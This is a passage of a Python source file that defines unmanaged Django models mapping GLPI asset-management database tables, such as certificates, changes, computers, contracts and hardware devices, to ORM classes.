models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_cartridges' class GlpiCertificates(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) serial = models.CharField(max_length=255, blank=True, null=True) otherserial = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() comment = models.TextField(blank=True, null=True) is_deleted = models.IntegerField() is_template = models.IntegerField() template_name = models.CharField(max_length=255, blank=True, null=True) certificatetypes = models.ForeignKey('GlpiCertificatetypes', on_delete=models.PROTECT) dns_name = models.CharField(max_length=255, blank=True, null=True) dns_suffix = models.CharField(max_length=255, blank=True, null=True) users_id_tech = models.IntegerField() groups_id_tech = models.IntegerField() locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) contact = models.CharField(max_length=255, blank=True, null=True) contact_num = models.CharField(max_length=255, blank=True, null=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) groups = models.ForeignKey('GlpiGroups', on_delete=models.PROTECT) is_autosign = models.IntegerField() date_expiration = models.DateField(blank=True, null=True) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) command = models.TextField(blank=True, null=True) certificate_request = models.TextField(blank=True, null=True) certificate_item = models.TextField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_certificates' class GlpiCertificatesItems(models.Model): id = models.IntegerField(primary_key=True) certificates = models.ForeignKey('GlpiCertificates', on_delete=models.PROTECT) items_id = models.IntegerField() itemtype = models.CharField(max_length=100) date_creation = models.DateTimeField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_certificates_items' unique_together = ('certificates', 'itemtype', 'items_id') class GlpiCertificatetypes(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_certificatetypes' class GlpiChangecosts(models.Model): id = models.IntegerField(primary_key=True) changes = models.ForeignKey('GlpiChanges', on_delete=models.PROTECT) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) begin_date = models.DateField(blank=True, null=True) end_date = models.DateField(blank=True, null=True) actiontime = models.IntegerField() cost_time = models.DecimalField(max_digits=20, decimal_places=4) cost_fixed = models.DecimalField(max_digits=20, decimal_places=4) cost_material = models.DecimalField(max_digits=20, decimal_places=4) budgets = models.ForeignKey('GlpiBudgets', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() class Meta: managed = False db_table = 'glpi_changecosts' class GlpiChanges(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() is_deleted = models.IntegerField() status = models.IntegerField() content = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date = models.DateTimeField(blank=True, null=True) solvedate = models.DateTimeField(blank=True, null=True) closedate = models.DateTimeField(blank=True, null=True) time_to_resolve = models.DateTimeField(blank=True, null=True) users_id_recipient = models.IntegerField() users_id_lastupdater = models.IntegerField() urgency = models.IntegerField() impact = models.IntegerField() priority = models.IntegerField() itilcategories = models.ForeignKey('GlpiItilcategories', on_delete=models.PROTECT) impactcontent = models.TextField(blank=True, null=True) controlistcontent = models.TextField(blank=True, null=True) rolloutplancontent = models.TextField(blank=True, null=True) backoutplancontent = models.TextField(blank=True, null=True) checklistcontent = models.TextField(blank=True, null=True) global_validation = models.IntegerField() validation_percent = models.IntegerField() actiontime = models.IntegerField() begin_waiting_date = models.DateTimeField(blank=True, null=True) waiting_duration = models.IntegerField() close_delay_stat = models.IntegerField() solve_delay_stat = models.IntegerField() date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_changes' class GlpiChangesGroups(models.Model): id = models.IntegerField(primary_key=True) changes = models.ForeignKey('GlpiChanges', on_delete=models.PROTECT) groups = models.ForeignKey('GlpiGroups', on_delete=models.PROTECT) type = models.IntegerField() class Meta: managed = False db_table = 'glpi_changes_groups' unique_together = ('changes', 'type', 'groups') class GlpiChangesItems(models.Model): id = models.IntegerField(primary_key=True) changes = models.ForeignKey('GlpiChanges', on_delete=models.PROTECT) itemtype = models.CharField(max_length=100, blank=True, null=True) items_id = models.IntegerField() class Meta: managed = False db_table = 'glpi_changes_items' unique_together = ('changes', 'itemtype', 'items_id') class GlpiChangesProblems(models.Model): id = models.IntegerField(primary_key=True) changes = models.ForeignKey('GlpiChanges', on_delete=models.PROTECT) problems = models.ForeignKey('GlpiProblems', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_changes_problems' unique_together = ('changes', 'problems') class GlpiChangesSuppliers(models.Model): id = models.IntegerField(primary_key=True) changes = models.ForeignKey('GlpiChanges', on_delete=models.PROTECT) suppliers = models.ForeignKey('GlpiSuppliers', on_delete=models.PROTECT) type = models.IntegerField() use_notification = models.IntegerField() alternative_email = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_changes_suppliers' unique_together = ('changes', 'type', 'suppliers') class GlpiChangesTickets(models.Model): id = models.IntegerField(primary_key=True) changes = models.ForeignKey('GlpiChanges', on_delete=models.PROTECT) tickets = models.ForeignKey('GlpiTickets', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_changes_tickets' unique_together = ('changes', 'tickets') class GlpiChangesUsers(models.Model): id = models.IntegerField(primary_key=True) changes = models.ForeignKey('GlpiChanges', on_delete=models.PROTECT) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) type = models.IntegerField() use_notification = models.IntegerField() alternative_email = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_changes_users' unique_together = ('changes', 'type', 'users', 'alternative_email') class GlpiChangetasks(models.Model): id = models.IntegerField(primary_key=True) uuid = models.CharField(unique=True, max_length=255, blank=True, null=True) changes = models.ForeignKey('GlpiChanges', on_delete=models.PROTECT) taskcategories = models.ForeignKey('GlpiTaskcategories', on_delete=models.PROTECT) state = models.IntegerField() date = models.DateTimeField(blank=True, null=True) begin = models.DateTimeField(blank=True, null=True) end = models.DateTimeField(blank=True, null=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) users_id_editor = models.IntegerField() users_id_tech = models.IntegerField() groups_id_tech = models.IntegerField() content = models.TextField(blank=True, null=True) actiontime = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) tasktemplates = models.ForeignKey('GlpiTasktemplates', on_delete=models.PROTECT) timeline_position = models.IntegerField() is_private = models.IntegerField() class Meta: managed = False db_table = 'glpi_changetasks' class GlpiChangetemplatehiddenfields(models.Model): id = models.IntegerField(primary_key=True) changetemplates = models.ForeignKey('GlpiChangetemplates', on_delete=models.PROTECT) num = models.IntegerField() class Meta: managed = False db_table = 'glpi_changetemplatehiddenfields' unique_together = ('changetemplates', 'num') class GlpiChangetemplatemandatoryfields(models.Model): id = models.IntegerField(primary_key=True) changetemplates = models.ForeignKey('GlpiChangetemplates', on_delete=models.PROTECT) num = models.IntegerField() class Meta: managed = False db_table = 'glpi_changetemplatemandatoryfields' unique_together = ('changetemplates', 'num') class GlpiChangetemplatepredefinedfields(models.Model): id = models.IntegerField(primary_key=True) changetemplates = models.ForeignKey('GlpiChangetemplates', on_delete=models.PROTECT) num = models.IntegerField() value = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_changetemplatepredefinedfields' class GlpiChangetemplates(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() comment = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_changetemplates' class GlpiChangevalidations(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) changes = models.ForeignKey('GlpiChanges', on_delete=models.PROTECT) users_id_validate = models.IntegerField() comment_submission = models.TextField(blank=True, null=True) comment_validation = models.TextField(blank=True, null=True) status = models.IntegerField() submission_date = models.DateTimeField(blank=True, null=True) validation_date = models.DateTimeField(blank=True, null=True) timeline_position = models.IntegerField() class Meta: managed = False db_table = 'glpi_changevalidations' class GlpiClusters(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) uuid = models.CharField(max_length=255, blank=True, null=True) version = models.CharField(max_length=255, blank=True, null=True) users_id_tech = models.IntegerField() groups_id_tech = models.IntegerField() is_deleted = models.IntegerField() states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) comment = models.TextField(blank=True, null=True) clustertypes = models.ForeignKey('GlpiClustertypes', on_delete=models.PROTECT) autoupdatesystems = models.ForeignKey('GlpiAutoupdatesystems', on_delete=models.PROTECT) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_clusters' class GlpiClustertypes(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_clustertypes' class GlpiComputerantiviruses(models.Model): id = models.IntegerField(primary_key=True) computers = models.ForeignKey('GlpiComputers', on_delete=models.PROTECT) name = models.CharField(max_length=255, blank=True, null=True) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) antivirus_version = models.CharField(max_length=255, blank=True, null=True) signature_version = models.CharField(max_length=255, blank=True, null=True) is_active = models.IntegerField() is_deleted = models.IntegerField() is_uptodate = models.IntegerField() is_dynamic = models.IntegerField() date_expiration = models.DateTimeField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_computerantiviruses' class GlpiComputermodels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) product_number = models.CharField(max_length=255, blank=True, null=True) weight = models.IntegerField() required_units = models.IntegerField() depth = models.FloatField() power_connections = models.IntegerField() power_consumption = models.IntegerField() is_half_rack = models.IntegerField() picture_front = models.TextField(blank=True, null=True) picture_rear = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_computermodels' class GlpiComputers(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) name = models.CharField(max_length=255, blank=True, null=True) serial = models.CharField(max_length=255, blank=True, null=True) otherserial = models.CharField(max_length=255, blank=True, null=True) contact = models.CharField(max_length=255, blank=True, null=True) contact_num = models.CharField(max_length=255, blank=True, null=True) users_id_tech = models.IntegerField() groups_id_tech = models.IntegerField() comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) autoupdatesystems = models.ForeignKey('GlpiAutoupdatesystems', on_delete=models.PROTECT) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) networks = models.ForeignKey('GlpiNetworks', on_delete=models.PROTECT) computermodels = models.ForeignKey('GlpiComputermodels', on_delete=models.PROTECT) computertypes = models.ForeignKey('GlpiComputertypes', on_delete=models.PROTECT) is_template = models.IntegerField() template_name = models.CharField(max_length=255, blank=True, null=True) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) is_deleted = models.IntegerField() is_dynamic = models.IntegerField() users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) groups = models.ForeignKey('GlpiGroups', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) ticket_tco = models.DecimalField(max_digits=20, decimal_places=4, blank=True, null=True) uuid = models.CharField(max_length=255, blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) is_recursive = models.IntegerField() class Meta: managed = False db_table = 'glpi_computers' class GlpiComputersItems(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() computers = models.ForeignKey('GlpiComputers', on_delete=models.PROTECT) itemtype = models.CharField(max_length=100) is_deleted = models.IntegerField() is_dynamic = models.IntegerField() class Meta: managed = False db_table = 'glpi_computers_items' class GlpiComputertypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_computertypes' class GlpiComputervirtualmachines(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) computers = models.ForeignKey('GlpiComputers', on_delete=models.PROTECT) name = models.CharField(max_length=255) virtualmachinestates = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) virtualmachinesystems = models.ForeignKey('GlpiVirtualmachinesystems', on_delete=models.PROTECT) virtualmachinetypes = models.ForeignKey('GlpiVirtualmachinetypes', on_delete=models.PROTECT) uuid = models.CharField(max_length=255) vcpu = models.IntegerField() ram = models.CharField(max_length=255) is_deleted = models.IntegerField() is_dynamic = models.IntegerField() comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_computervirtualmachines' class GlpiConfigs(models.Model): id = models.IntegerField(primary_key=True) context = models.CharField(max_length=150, blank=True, null=True) name = models.CharField(max_length=150, blank=True, null=True) value = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_configs' unique_together = (('context', 'name'),) class GlpiConsumableitems(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) ref = models.CharField(max_length=255, blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) consumableitemtypes = models.ForeignKey('GlpiConsumableitemtypes', on_delete=models.PROTECT) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) users_id_tech = models.IntegerField() groups_id_tech = models.IntegerField() is_deleted = models.IntegerField() comment = models.TextField(blank=True, null=True) alarm_threshold = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) otherserial = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_consumableitems' class GlpiConsumableitemtypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_consumableitemtypes' class GlpiConsumables(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) consumableitems = models.ForeignKey('GlpiConsumableitems', on_delete=models.PROTECT) date_in = models.DateField(blank=True, null=True) date_out = models.DateField(blank=True, null=True) itemtype = models.CharField(max_length=100, blank=True, null=True) items_id = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_consumables' class GlpiContacts(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) firstname = models.CharField(max_length=255, blank=True, null=True) phone = models.CharField(max_length=255, blank=True, null=True) phone2 = models.CharField(max_length=255, blank=True, null=True) mobile = models.CharField(max_length=255, blank=True, null=True) fax = models.CharField(max_length=255, blank=True, null=True) email = models.CharField(max_length=255, blank=True, null=True) contacttypes = models.ForeignKey('GlpiContacttypes', on_delete=models.PROTECT) comment = models.TextField(blank=True, null=True) is_deleted = models.IntegerField() usertitles = models.ForeignKey('GlpiUsertitles', on_delete=models.PROTECT) address = models.TextField(blank=True, null=True) postcode = models.CharField(max_length=255, blank=True, null=True) town = models.CharField(max_length=255, blank=True, null=True) state = models.CharField(max_length=255, blank=True, null=True) country = models.CharField(max_length=255, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_contacts' class GlpiContactsSuppliers(models.Model): id = models.IntegerField(primary_key=True) suppliers = models.ForeignKey('GlpiSuppliers', on_delete=models.PROTECT) contacts = models.ForeignKey('GlpiContacts', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_contacts_suppliers' unique_together = ('suppliers', 'contacts') class GlpiContacttypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_contacttypes' class GlpiContractcosts(models.Model): id = models.IntegerField(primary_key=True) contracts = models.ForeignKey('GlpiContracts', on_delete=models.PROTECT) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) begin_date = models.DateField(blank=True, null=True) end_date = models.DateField(blank=True, null=True) cost = models.DecimalField(max_digits=20, decimal_places=4) budgets = models.ForeignKey('GlpiBudgets', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() class Meta: managed = False db_table = 'glpi_contractcosts' class GlpiContracts(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) num = models.CharField(max_length=255, blank=True, null=True) contracttypes = models.ForeignKey('GlpiContracttypes', on_delete=models.PROTECT) begin_date = models.DateField(blank=True, null=True) duration = models.IntegerField() notice = models.IntegerField() periodicity = models.IntegerField() billing = models.IntegerField() comment = models.TextField(blank=True, null=True) accounting_number = models.CharField(max_length=255, blank=True, null=True) is_deleted = models.IntegerField() week_begin_hour = models.TimeField() week_end_hour = models.TimeField() saturday_begin_hour = models.TimeField() saturday_end_hour = models.TimeField() use_saturday = models.IntegerField() monday_begin_hour = models.TimeField() monday_end_hour = models.TimeField() use_monday = models.IntegerField() max_links_allowed = models.IntegerField() alert = models.IntegerField() renewal = models.IntegerField() template_name = models.CharField(max_length=255, blank=True, null=True) is_template = models.IntegerField() states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_contracts' class GlpiContractsItems(models.Model): id = models.IntegerField(primary_key=True) contracts = models.ForeignKey('GlpiContracts', on_delete=models.PROTECT) items_id = models.IntegerField() itemtype = models.CharField(max_length=100) class Meta: managed = False db_table = 'glpi_contracts_items' unique_together = ('contracts', 'itemtype', 'items_id') class GlpiContractsSuppliers(models.Model): id = models.IntegerField(primary_key=True) suppliers = models.ForeignKey('GlpiSuppliers', on_delete=models.PROTECT) contracts = models.ForeignKey('GlpiContracts', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_contracts_suppliers' unique_together = ('suppliers', 'contracts') class GlpiContracttypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_contracttypes' class GlpiCrontasklogs(models.Model): id = models.IntegerField(primary_key=True) crontasks = models.ForeignKey('GlpiCrontasks', on_delete=models.PROTECT) crontasklogs = models.ForeignKey('GlpiCrontasklogs', on_delete=models.PROTECT) date = models.DateTimeField() state = models.IntegerField() elapsed = models.FloatField() volume = models.IntegerField() content = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_crontasklogs' class GlpiCrontasks(models.Model): id = models.IntegerField(primary_key=True) itemtype = models.CharField(max_length=100) name = models.CharField(max_length=150) frequency = models.IntegerField() param = models.IntegerField(blank=True, null=True) state = models.IntegerField() mode = models.IntegerField() allowmode = models.IntegerField() hourmin = models.IntegerField() hourmax = models.IntegerField() logs_lifetime = models.IntegerField() lastrun = models.DateTimeField(blank=True, null=True) lastcode = models.IntegerField(blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_crontasks' unique_together = (('itemtype', 'name'),) class GlpiDashboardsDashboards(models.Model): id = models.IntegerField(primary_key=True) key = models.CharField(unique=True, max_length=100) name = models.CharField(max_length=100) context = models.CharField(max_length=100) class Meta: managed = False db_table = 'glpi_dashboards_dashboards' class GlpiDashboardsItems(models.Model): id = models.IntegerField(primary_key=True) dashboards_dashboards_id = models.IntegerField() gridstack_id = models.CharField(max_length=100) card_id = models.CharField(max_length=100) x = models.IntegerField(blank=True, null=True) y = models.IntegerField(blank=True, null=True) width = models.IntegerField(blank=True, null=True) height = models.IntegerField(blank=True, null=True) card_options = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_dashboards_items' class GlpiDashboardsRights(models.Model): id = models.IntegerField(primary_key=True) dashboards_dashboards_id = models.IntegerField() itemtype = models.CharField(max_length=100) items_id = models.IntegerField() class Meta: managed = False db_table = 'glpi_dashboards_rights' unique_together = ('dashboards_dashboards_id', 'itemtype', 'items_id') class GlpiDatacenters(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) is_deleted = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_datacenters' class GlpiDcrooms(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) vis_cols = models.IntegerField(blank=True, null=True) vis_rows = models.IntegerField(blank=True, null=True) blueprint = models.TextField(blank=True, null=True) datacenters = models.ForeignKey('GlpiDatacenters', on_delete=models.PROTECT) is_deleted = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_dcrooms' class GlpiDevicebatteries(models.Model): id = models.IntegerField(primary_key=True) designation = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) voltage = models.IntegerField(blank=True, null=True) capacity = models.IntegerField(blank=True, null=True) devicebatterytypes = models.ForeignKey('GlpiDevicebatterytypes', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() devicebatterymodels = models.ForeignKey('GlpiDevicebatterymodels', on_delete=models.SET_NULL, null=True, blank=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicebatteries' class GlpiDevicebatterymodels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) product_number = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicebatterymodels' class GlpiDevicebatterytypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicebatterytypes' class GlpiDevicecasemodels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) product_number = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicecasemodels' class GlpiDevicecases(models.Model): id = models.IntegerField(primary_key=True) designation = models.CharField(max_length=255, blank=True, null=True) devicecasetypes = models.ForeignKey('GlpiDevicecasetypes', on_delete=models.PROTECT) comment = models.TextField(blank=True, null=True) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() devicecasemodels = models.ForeignKey('GlpiDevicecasemodels', on_delete=models.SET_NULL, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicecases' class GlpiDevicecasetypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicecasetypes' class GlpiDevicecontrolmodels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) product_number = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicecontrolmodels' class GlpiDevicecontrols(models.Model): id = models.IntegerField(primary_key=True) designation = models.CharField(max_length=255, blank=True, null=True) is_raid = models.IntegerField() comment = models.TextField(blank=True, null=True) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) interfacetypes = models.ForeignKey('GlpiInterfacetypes', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() devicecontrolmodels = models.ForeignKey('GlpiDevicecontrolmodels', on_delete=models.SET_NULL, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicecontrols' class GlpiDevicedrivemodels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) product_number = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicedrivemodels' class GlpiDevicedrives(models.Model): id = models.IntegerField(primary_key=True) designation = models.CharField(max_length=255, blank=True, null=True) is_writer = models.IntegerField() speed = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) interfacetypes = models.ForeignKey('GlpiInterfacetypes', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() devicedrivemodels = models.ForeignKey('GlpiDevicedrivemodels', on_delete=models.SET_NULL, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicedrives' class GlpiDevicefirmwaremodels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) product_number = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicefirmwaremodels' class GlpiDevicefirmwares(models.Model): id = models.IntegerField(primary_key=True) designation = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) date = models.DateField(blank=True, null=True) version = models.CharField(max_length=255, blank=True, null=True) devicefirmwaretypes = models.ForeignKey('GlpiDevicefirmwaretypes', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() devicefirmwaremodels = models.ForeignKey('GlpiDevicefirmwaremodels', on_delete=models.SET_NULL, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicefirmwares' class GlpiDevicefirmwaretypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicefirmwaretypes' class GlpiDevicegenericmodels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) product_number = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_devicegenericmodels' class GlpiDevicegenerics(models.Model): id = models.IntegerField(primary_key=True) designation = models.CharField(max_length=255, blank=True, null=True) devicegenerictypes = models.ForeignKey('GlpiDevicegenerictypes', on_delete=models.PROTECT) comment = models.TextField(blank=True, null=True) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) 